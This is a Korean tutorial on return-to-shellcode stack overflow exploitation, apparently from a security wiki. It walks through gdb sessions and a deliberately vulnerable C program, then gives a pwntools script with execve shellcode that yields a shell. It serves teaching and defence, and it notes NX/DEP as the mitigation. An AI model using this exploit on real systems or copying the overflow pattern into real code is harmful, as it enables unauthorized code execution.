

02.Return to Shellcode

Return to Shellcode

- Return to Shellcode란 Return address 영역에 Shellcode가 저장된 주소로 변경해, Shellcode를 호출하는 방식입니다.

CALL & RET instruction

- Return to Shellcode를 이해하기 위해 **CALL,RET** 명령어에 대한 이해가 필요합니다.
 - CALL 명령어는 Return address(CALL 명령어 다음 명령어의 위치(주소 값))를 Stack에 저장하고, 피연산자 주소로 이동합니다.
 - RET 명령어는 POP 명령어를 이용해 RSP 레지스터가 가리키는 Stack영역에 저장된 값을 RIP(EIP)에 저장 후, 해당 주소로 이동합니다.
 - 즉, Stack영역에 저장된 Return address 값을 변경할 수 있다면 프로그램의 흐름을 변경 할 수 있습니다.

Decsription for CALL, RET instruction

Instruction	Processing(?)
Call <Operation>	PUSH ReturnAddress JMP <Operation>
ret	POP RIP JMP RIP

Proof of concept

- 다음과 같은 코드를 이용해 **CALL, RET** 명령어에 대해 분석해 분석해보겠습니다.
 - main()함수에서 vuln() 함수를 호출하는 단순한 코드이며, vuln() 함수는 아무런 동작을 하지 않습니다.

test.c

```
#include <stdio.h>
#include <unistd.h>

void vuln(){
}

void main(){
    vuln();
}
```

- 다음과 같이 **Break point**를 설정합니다.
 - 0x4004e6 : vuln 함수를 호출하는 CALL 명령어
 - CALL 명령어 다음 명령어의 위치 : 0x4004eb
 - 0x4004d6 : vuln 함수의 첫번째 명령어

Breakpoints

```
lazenca0x0@ubuntu:~/Exploit$ gcc -fno-stack-protector -o test test.c
lazenca0x0@ubuntu:~/Exploit$ gdb -q ./test
Reading symbols from ./test...(no debugging symbols found)...done.
gdb-peda$ disassemble main
Dump of assembler code for function main:
   0x0000000004004dd <+0>:  push    rbp
   0x0000000004004de <+1>:  mov     rbp, rsp
   0x0000000004004e1 <+4>:  mov     eax, 0x0
   0x0000000004004e6 <+9>:  call    0x4004d6 <vuln>
   0x0000000004004eb <+14>:  nop
   0x0000000004004ec <+15>:  pop     rbp
   0x0000000004004ed <+16>:  ret
End of assembler dump.
gdb-peda$ b *0x0000000004004e6
Breakpoint 1 at 0x4004e6
```

```
gdb-peda$ disassemble vuln
Dump of assembler code for function vuln:
   0x00000000004004d6 <+0>:  push    rbp
   0x00000000004004d7 <+1>:  mov     rbp, rsp
   0x00000000004004da <+4>:  nop
   0x00000000004004db <+5>:  pop     rbp
   0x00000000004004dc <+6>:  ret
End of assembler dump.
gdb-peda$ b *0x00000000004004d6
Breakpoint 2 at 0x4004d6

gdb-peda$ b *0x00000000004004dc
Breakpoint 3 at 0x4004dc
gdb-peda$
```

• 다음과 같이 **CALL** 명령어의 동작을 확인 할 수 있습니다.

- vuln() 함수의 호출 전 RSP(ESP) 레지스터가 가리키는 Stack의 위치는 0x7fffffff4b0이며, 해당 영역에 저장되어 있는 값은 0x4004f0 입니다.
- vuln() 함수의 호출 후 RSP(ESP) 레지스터가 가리키는 Stack의 위치는 0x7fffffff4a8이며, 해당 영역에 저장되어 있는 값은 0x4004eb 입니다.
- 즉, CALL 명령어에 의해 Stack에 호출된 함수가 종료된 후에 이동할 주소 값을 저장합니다.

Call instruction

```
gdb-peda$ r
Starting program: /home/lazenca0x0/Exploit/test
Breakpoint 1, 0x00000000004004e6 in main ()
gdb-peda$ i r rsp
rsp             0x7fffffff4b0    0x7fffffff4b0
gdb-peda$ x/gx 0x7fffffff4b0
0x7fffffff4b0: 0x00000000004004f0
gdb-peda$ c
Continuing.

Breakpoint 2, 0x00000000004004d6 in vuln ()
gdb-peda$ i r rsp
rsp             0x7fffffff4a8    0x7fffffff4a8
gdb-peda$ x/gx 0x7fffffff4a8
0x7fffffff4a8: 0x00000000004004eb
gdb-peda$
```

• 다음과 같이 **RET** 명령어의 동작을 확인 할 수 있습니다.

- RET 명령어가 실행 전 RSP(ESP) 레지스터가 가리키는 Stack의 위치는 0x7fffffff4a8이며, 해당 영역에 저장되어 있는 값은 0x4004eb 입니다.
- RET 명령어가 실행 후 RSP(ESP) 레지스터가 가리키는 Stack의 위치는 0x7fffffff4b0이며, 해당 영역에 저장되어 있는 값은 0x4004f0 입니다.
 - RET 명령어에 의해 CALL 명령어 다음 명령어(0x4004eb)가 있는 곳으로 이동하였습니다.
- RET 명령어에 의해 Stack에 저장된 값을 주소 값을 RIP 레지스터에 저장하여 해당 주소로 이동하게 됩니다.
- 즉, Stack에 저장된 Return address를 변경 할 수 있다면, 공격자는 원하는 영역으로 이동 할 수 있습니다.

RET instruction

```
Breakpoint 3, 0x00000000004004dc in vuln ()
gdb-peda$ i r rsp
rsp             0x7fffffff4a8    0x7fffffff4a8
gdb-peda$ x/gx 0x7fffffff4a8
0x7fffffff4a8: 0x00000000004004eb
gdb-peda$ ni
0x00000000004004eb in main ()
gdb-peda$ i r rip
rip             0x4004eb 0x4004eb <main+14>
gdb-peda$ i r rsp
rsp             0x7fffffff4b0    0x7fffffff4b0
gdb-peda$ x/gx 0x7fffffff4b0
0x7fffffff4b0: 0x00000000004004f0
gdb-peda$
```

• 다음과 같이 **Stack Overwrite**에 의해 변경된 **Return address** 영역으로 이동합니다.

- Return address 영역(0x7fffffff488)에 저장되어 있던 값은 main+14(0x4004eb) 입니다.
- Stack overflow에 의해 해당 값(0x4004eb)을 0x4004d6(vuln+0) 으로 변경될 수 있습니다.
 - 아래 예제에서는 편의를 위해 gdb의 set 명령어를 이용해 값을 변경하였습니다.

- RET 명령어는 RSP 레지스터가 가리키는 주소의 값이 0x4004d6이기 때문에 0x4004d6 영역으로 이동합니다.
- 즉, Return address영역에 Shellcode가 저장된 주소로 저장하면, 해당 영역으로 이동하게 됩니다.

Stack Overwrite

```
Breakpoint 3, 0x000000004004dc in vuln ()
gdb-peda$ i r rsp
rsp                0x7fffffff488    0x7fffffff488
gdb-peda$ x/gx 0x7fffffff488
0x7fffffff488: 0x000000004004eb
gdb-peda$ set *0x7fffffff488 = 0x4004d6
gdb-peda$ x/gx 0x7fffffff488
0x7fffffff488: 0x000000004004d6
gdb-peda$ ni
0x000000004004d6 in vuln ()
gdb-peda$ i r rip
rip                0x4004d6 0x4004d6 <vuln>
gdb-peda$
```

Permissions in memory

- **Return to Shellcode**를 이해하기 위해 **Memory** 권한에 대한 이해가 필요합니다.
 - 프로그램에서 사용되는 메모리 영역을 모두 아래와 같이 권한들이 설정되어 있습니다.
 - read(r) : 메모리 영역의 값을 읽을 수 있습니다.
 - write(w) : 메모리 영역에 값을 저장 할 수 있습니다.
 - excute(x) : 메모리 영역에서 코드를 실행 할 수 있습니다.
 - GCC는 기본적으로 DEP가 적용되기 때문에 코드가 저장된 영역에만 실행권한이 설정되며, 데이터가 저장되는 영역에는 실행권한이 설정되지 않습니다.
 - 즉, Shellcode를 실행하기 위해 Shellcode가 저장된 영역은 excute 권한이 설정되어 있어야 합니다.

Permissions in memory(DEP enabled)

00400000-00401000 r-xp 00000000 08:01 1975091	/home/lazenca0x0/Exploit/shellcode/test
00600000-00601000 r--p 00000000 08:01 1975091	/home/lazenca0x0/Exploit/shellcode/test
00601000-00602000 rw-p 00001000 08:01 1975091	/home/lazenca0x0/Exploit/shellcode/test
7ffff7a0d000-7ffff7bcd000 r-xp 00000000 08:01 1975091	/lib/x86_64-linux-gnu/libc-2.23.so
7ffff7bcd000-7ffff7dcd000 ---p 001c0000 08:01 1975091	/lib/x86_64-linux-gnu/libc-2.23.so
7ffff7dcd000-7ffff7dd1000 r--p 001c0000 08:01 1975091	/lib/x86_64-linux-gnu/libc-2.23.so
7ffff7dd1000-7ffff7dd3000 rw-p 001c4000 08:01 1975091	/lib/x86_64-linux-gnu/libc-2.23.so
7ffff7dd3000-7ffff7dd7000 rw-p 00000000 00:00 0	
7ffff7dd7000-7ffff7dfd000 r-xp 00000000 08:01 1975089	/lib/x86_64-linux-gnu/ld-2.23.so
7ffff7dfd000-7ffff7fe0000 rw-p 00000000 00:00 0	
7ffff7ff8000-7ffff7ffa000 r--p 00000000 00:00 0	[vvar]
7ffff7ffa000-7ffff7ffc000 r-xp 00000000 00:00 0	[vdso]
7ffff7ffc000-7ffff7ffd000 r--p 00025000 08:01 1975089	/lib/x86_64-linux-gnu/ld-2.23.so
7ffff7ffd000-7ffff7ffe000 rw-p 00026000 08:01 1975089	/lib/x86_64-linux-gnu/ld-2.23.so
7ffff7ffe000-7ffff7fff000 rw-p 00000000 00:00 0	
7ffff7fff000-7ffff7fff000 rw-p 00000000 00:00 0	[stack]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0	[vsyscall]

- **DEP**를 해제하기 위해 **GCC** 옵션으로 **"-z execstack"** 를 추가해야 합니다.
 - 해당 옵션으로 인해 데이터 저장 영역에도 excute 권한이 설정되었습니다.
 - 즉, Stack에 저장된 Shellcode를 실행 될 수 있습니다.

Permissions in memory(DEP disabled)

00400000-00401000 r-xp 00000000 08:01 1975091	/home/lazenca0x0/Exploit/shellcode/test
00600000-00601000 r-xp 00000000 08:01 1975091	/home/lazenca0x0/Exploit/shellcode/test
00601000-00602000 rwxp 00001000 08:01 1975091	/home/lazenca0x0/Exploit/shellcode/test
7ffff7a0d000-7ffff7bcd000 r-xp 00000000 08:01 1975091	/lib/x86_64-linux-gnu/libc-2.23.so
7ffff7bcd000-7ffff7dcd000 ---p 001c0000 08:01 1975091	/lib/x86_64-linux-gnu/libc-2.23.so
7ffff7dcd000-7ffff7dd1000 r-xp 001c0000 08:01 1975091	/lib/x86_64-linux-gnu/libc-2.23.so
7ffff7dd1000-7ffff7dd3000 rwxp 001c4000 08:01 1975091	/lib/x86_64-linux-gnu/libc-2.23.so
7ffff7dd3000-7ffff7dd7000 rwxp 00000000 00:00 0	
7ffff7dd7000-7ffff7dfd000 r-xp 00000000 08:01 1975089	/lib/x86_64-linux-gnu/ld-2.23.so
7ffff7dfd000-7ffff7fe0000 rwxp 00000000 00:00 0	
7ffff7ff8000-7ffff7ffa000 r--p 00000000 00:00 0	[vvar]

```

7ffff7ffa000-7ffff7ffc000 r-xp 00000000 00:00 0 [vdso]
7ffff7ffc000-7ffff7ffd000 r-xp 00025000 08:01 1975089 /lib/x86_64-linux-gnu/ld-2.23.so
7ffff7ffd000-7ffff7ffe000 rwxp 00026000 08:01 1975089 /lib/x86_64-linux-gnu/ld-2.23.so
7ffff7ffe000-7ffff7fff000 rwxp 00000000 00:00 0
7ffff7fff000-7ffff7fff000 rwxp 00000000 00:00 0 [stack]
fffffffff6000000-fffffffff6010000 r-xp 00000000 00:00 0 [vsyscall]

```

Proof of concept

- **Return to Shellcode**를 확인하기 위해 다음 코드를 사용합니다.
 - main() 함수는 vuln() 함수를 호출합니다.
 - vuln() 함수는 read() 함수를 이용해 사용자로 부터 100개의 문자를 입력받습니다.
 - 여기에서 취약성이 발생합니다. buf 변수의 크기는 50byte이기 때문에 Stack Overflow가 발생합니다.

poc.c

```

#include <stdio.h>
#include <unistd.h>

void vuln(){
    char buf[50];
    printf("buf[50] address : %p\n",buf);
    read(0, buf, 100);
}

void main(){
    vuln();
}

```

- **Stack Overflow**를 확인하기 위해 다음과 같이 **Break point**를 설정합니다.
 - 0x400566 : vuln 함수의 첫번째 명령어
 - 0x400595 : read() 함수 호출
 - 0x40059c : vuln() 함수의 ret 명령어

Break points

```

lazenca0x0@ubuntu:~/Exploit/shellcode$ gcc -z execstack -fno-stack-protector -o poc poc.c
lazenca0x0@ubuntu:~/Exploit/shellcode$ gdb -q ./poc
Reading symbols from ./poc...(no debugging symbols found)...done.
gdb-peda$ disassemble vuln
Dump of assembler code for function vuln:
   0x000000000400566 <+0>:  push    rbp
   0x000000000400567 <+1>:  mov     rbp, rsp
   0x00000000040056a <+4>:  sub     rsp, 0x40
   0x00000000040056e <+8>:  lea     rax, [rbp-0x40]
   0x000000000400572 <+12>: mov     rsi, rax
   0x000000000400575 <+15>: mov     edi, 0x400634
   0x00000000040057a <+20>: mov     eax, 0x0
   0x00000000040057f <+25>: call    0x400430 <printf@plt>
   0x000000000400584 <+30>: lea     rax, [rbp-0x40]
   0x000000000400588 <+34>: mov     edx, 0x64
   0x00000000040058d <+39>: mov     rsi, rax
   0x000000000400590 <+42>: mov     edi, 0x0
   0x000000000400595 <+47>: call    0x400440 <read@plt>
   0x00000000040059a <+52>: nop
   0x00000000040059b <+53>: leave
   0x00000000040059c <+54>: ret
End of assembler dump.
gdb-peda$ b *0x400566
Breakpoint 1 at 0x400566
gdb-peda$ b *0x400595
Breakpoint 2 at 0x400595
gdb-peda$ b *0x40059c
Breakpoint 3 at 0x40059c
gdb-peda$

```

- 다음과 같이 **Return address**를 확인 할 수 있습니다.

- rsp 레지스터가 가리키고 있는 최상위 Stack 메모리는 0x7fffffff448 입니다.
- 해당 메모리에 vuln() 함수 종료 후 돌아갈 코드영역의 주소 값(0x4005ab)이 저장되어 있습니다.

Return address

```
gdb-peda$ r
Starting program: /home/lazenca0x0/Exploit/shellcode/poc

Breakpoint 1, 0x00000000400566 in vuln ()
gdb-peda$ i r rsp
rsp          0x7fffffff448    0x7fffffff448
gdb-peda$ x/gx 0x7fffffff448
0x7fffffff448: 0x000000004005ab
gdb-peda$ disassemble main
Dump of assembler code for function main:
   0x0000000040059d <+0>:  push    rbp
   0x0000000040059e <+1>:  mov     rbp, rsp
   0x000000004005a1 <+4>:  mov     eax, 0x0
   0x000000004005a6 <+9>:  call    0x400566 <vuln>
   0x000000004005ab <+14>: nop
   0x000000004005ac <+15>: pop     rbp
   0x000000004005ad <+16>: ret
End of assembler dump.
gdb-peda$
```

- 다음과 같이 **buf** 변수의 주소를 확인 할 수 있습니다.
 - buf변수의 위치는 0x7fffffff400 이며, Return address 위치와 72byte 떨어져 있습니다.
 - 즉, 사용자 입력 값으로 문자를 72개 이상 입력하면, Return address를 덮어쓸 수 있습니다.

Enter string

```
gdb-peda$ c
Continuing.
buf[50] address : 0x7fffffff400

Breakpoint 2, 0x00000000400595 in vuln ()
gdb-peda$ i r rsi
rsi          0x7fffffff400    0x7fffffff400
gdb-peda$ p/d 0x7fffffff448 - 0x7fffffff400
$1 = 72
gdb-peda$ ni
AAAAAAAAABBBBBBCCCCCCCCDDDDDDDEEEEEEEEEFFFFFGGGGGGGHHHHHHHHIIIIIIJJJJJJKKKKKKKK
gdb-peda$ x/10gx 0x7fffffff400
0x7fffffff400: 0x4141414141414141  0x4242424242424242
0x7fffffff410: 0x4343434343434343  0x4444444444444444
0x7fffffff420: 0x4545454545454545  0x4646464646464646
0x7fffffff430: 0x4747474747474747  0x4848484848484848
0x7fffffff440: 0x4949494949494949  0x4a4a4a4a4a4a4a4a
gdb-peda$
```

- 다음과 같이 **Return address** 값이 변경된 것을 확인 할 수 있습니다.
 - 0x7fffffff448 영역에 0x4a4a4a4a4a4a4a4a(JJJJJJJ)가 저장되었습니다.
 - 즉, 72개의 문자를 입력 후 shellcode가 저장된 주소를 저장하면 Return address를 덮어 쓸 수 있습니다.

Overwrite return address

```
Breakpoint 3, 0x0000000040059c in vuln ()
gdb-peda$ x/gx 0x7fffffff448
0x7fffffff448: 0x4a4a4a4a4a4a4a4a
gdb-peda$ x/s 0x7fffffff448
0x7fffffff448: "JJJJJJJJKKKKKKKK\n177\377\367\i"
gdb-peda$
```

Exploit

- 앞에서 확인한 내용을 바탕으로 아래와 같이 **Exploit code**를 작성 할 수 있습니다.

exploit.py

```

from pwn import *

p = process('./poc')
p.recvuntil('buf[50] address : ')
stackAddr = p.recvuntil('\n')
stackAddr = int(stackAddr,16)

exploit = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
exploit += "\x90" * (72 - len(exploit))
exploit += p64(stackAddr)
p.send(exploit)
p.interactive()

```

- 해당 **Exploit code**를 실행하여 **shell**을 획득합니다.

python exploit.py

```

lazenca0x0@ubuntu:~/Exploit/shellcode$ python exploit.py
[+] Starting local process './test': pid 111702
[*] Switching to interactive mode
$ id
uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin)
$

```

Protection

- Memory 영역에서 코드가 실행되는 것을 차단하기 위해 NX Bit(DEP)를 적용 할 수 있습니다.
- 자세한 내용은 다음 Wiki에서 확인 가능합니다.
 - [01.NX Bit\(MS : DEP\)](#)

Related site

- <http://shell-storm.org/shellcode/files/shellcode-806.php>

Comments

살아야 하니까 먹는거예요

동생이 다칠까 봐 소금밥을 만든 아이, 9살 상우는 매

WorldVisionKorea

exploit-tech